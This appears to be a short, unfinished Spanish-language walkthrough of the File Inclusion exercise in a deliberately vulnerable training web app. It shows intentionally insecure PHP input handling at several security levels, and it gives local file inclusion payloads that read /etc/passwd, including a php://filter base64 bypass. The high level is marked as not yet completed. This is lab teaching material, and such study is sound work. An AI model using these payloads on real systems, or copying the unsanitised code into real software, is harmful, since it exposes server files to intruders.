File Inclusion

Low Security Level

No tiene medida de seguridad.

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

LFI:

  • localhost/vulnerabilities/fi/?page=/etc/passwd

Podemos listar el archivo /etc/passwd sin muchas complicaciones.

Medium Security Level

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

LFI:

  • localhost/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=/etc/passwd

Nos dará el archivo codificado en base64, lo copiaremos y en nuestras shell, lo decodificaremos de la base64, y podremos visualizar el archivo /etc/passwd.

High Security Level

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

NO COMPLETADO AUN!

Impossible Security Level

Última actualización